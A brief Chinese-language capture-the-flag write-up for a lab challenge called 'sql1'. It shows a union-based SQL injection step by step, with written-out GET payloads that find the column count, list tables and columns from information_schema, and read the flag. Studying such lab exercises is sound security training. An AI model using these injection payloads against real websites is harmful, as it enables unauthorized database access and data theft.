Appearance
【Web Security】sql1
005 sql1
- 拦截浏览器GET请求,点击Action,然后Send to repeater。传入不同的id值可以看到相应的输出,判断可以通过id进行注入。

- 使用
order by子句判断返回的列数。当order by为4时,界面无回显、值为3时有回显。所以后端返回的列数应该是3。

- 判断后端返回的前端显示的格式
GET /?id=-1 union select 1,2,3 HTTP/1.1

- 注入出当前数据库所有的表名
GET /?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) HTTP/1.1。发现有个表名为flag。

- 注入出flag表中的全部列名
GET /?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='flag') HTTP/1.1。发现有个列名flag。

- 查询flag表的flag列
GET /?id=-1 union select 1,2,(select flag from flag) HTTP/1.1。获取flag!
